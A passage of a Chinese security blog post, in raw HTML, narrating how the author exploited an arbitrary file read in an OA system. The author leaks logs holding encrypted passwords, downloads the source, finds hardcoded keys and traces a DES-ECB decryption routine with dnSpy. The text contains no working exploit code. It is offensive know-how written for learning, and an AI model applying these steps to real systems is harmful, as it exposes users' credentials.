62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, Microsoft YaHei, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 24px;color: rgb(19, 92, 224);line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: bold;display: block;"><span leaf="">0x01 前情提要</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">某次xx的过程中，发现一个oa存在任意文件读取漏洞，可以查看log文件，第一个log文件中存储了部分用户的登录密码等信息，但登录密码是加密的</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">任意文件读取路径如下，可以看到泄露了加密后的密码</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="http://xxxxxx/log/20240527.txt" target="_blank">http://xxxxxx/log/20240527.txt</a></span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.12962962962962962" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038537" src="https://wechat2rss.xlab.app/img-proxy/?k=eb46db8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVxibibgA66OgIJicA3RDDB18h2oQWWscD8AJDPkc5C0ypgsRQJUao5kVibsoDib0OjPeicKQKLccHVrTETkxCFlF9fPVD6jXyIs0AMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">去cmd5查询无果</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">心想这可怎么办，恰好任意文件读取可以下载该网站的源码，那么就来分析一下吧</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33425925925925926" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038536" src="https://wechat2rss.xlab.app/img-proxy/?k=88a210ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdX4PWvibsSxS9zLG71ibqaZKeI84YricW5EIWcGWsme3xX6HTZZs34pQG3CB8NJlN05MtP6YyqcAkOaGDEtQjx9TPLicRLfZvsj43o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 24px;color: rgb(19, 92, 224);line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: bold;display: block;"><span leaf="">0x02 解密过程</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">拿到源码后，简单看下web.config文件，发现一个key，这里后面会用</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14516129032258066" data-type="png" data-w="620" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038535" src="https://wechat2rss.xlab.app/img-proxy/?k=55206c47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVmHuSsfkMkhBYmcz8yQWN9pVJq6UzBBTicSc2yCqCvEcbvL87siae9r2p0640yxd52Iy2TddmwwWOE6SNsibnXVWibex0jIFp1gic0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">继续查看其他代码</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这里发现一个LoginFormIM.aspx文件，文件中又有一个key，说实话这个key看起来像个正常的key</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.0475" data-type="png" data-w="800" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038534" src="https://wechat2rss.xlab.app/img-proxy/?k=4dde4994&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdV2urLVF29hlTicUFtb7a1ibSztub9iauMtOuoJSe9IicU64qJg8GicIht8qwZvZVic1naS1hlEUxyXlNIONVdqMTLd5cyT6sAEhsRP4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过观察代码可以发现，在第15行的代码中有个解密函数，是把encryptUserInfo参数使用key:task@msg进行解密，这里我感觉我找对了，继续往下看</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这时我们要知道加解密用了什么算法，那么就得跟进</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">DecryptU</span></code><span leaf="">函数，直接在代码中搜索，这里直接搜索找不到</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">DecryptU</span></code><span leaf="">函数的具体方法，大概率是调用的dll文件，可以根据</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">xxx.EAF.RDAS</span></code><span leaf="">来推断出文件名大概是</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">xxx.EAF.RDAS.dll</span></code><span leaf="">或者</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">xxx.EAF.dll</span></code></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在bin目录下找到</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">xxx.EAF.dll</span></code><span leaf="">文件，使用dnSpy反编译一下</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">xxx.EAF.RDAS.ServerInfo</span></code><span leaf="">中找到</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">DecryptU</span></code><span leaf="">函数，可以看到加密使用了DES，ECB模式</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7564814814814815" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038538" src="https://wechat2rss.xlab.app/img-proxy/?k=e39d8952&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdW3ojIu1DiamVXALWibHrTvuUB0RZ2mEbet0GCrZB4icJicHcgA7BmOXVvHNDJzicib1s1qbxRydS5FUboCEeIFklJ4KPTIhOSSoMibFI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">到这你以为就结束了，其实不是</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">我试了</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">task@msg</span></code><span leaf="">和</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">12345678</span></code><span leaf="">这两个key，怎么都是解不出来</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">于是我一直怀疑是key错了，又在源码中找还有没有其他的key，找了一阵子确实没有其他的key，就继续来看代码是不是还有其他操作</span></p><p data-tool="mdnice编辑器" style="color: rgb(51, 51, 51);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">继续分析</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">Login.aspx</span></code><span leaf="">文件，发现调用了</span><code style="color: rgb(19, 148, 216);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">RDAS.js</span></code><span leaf="">，这个文件非常可疑，跟进看一下</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.07142857142857142" data-type="png" data-w="1036" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038539" 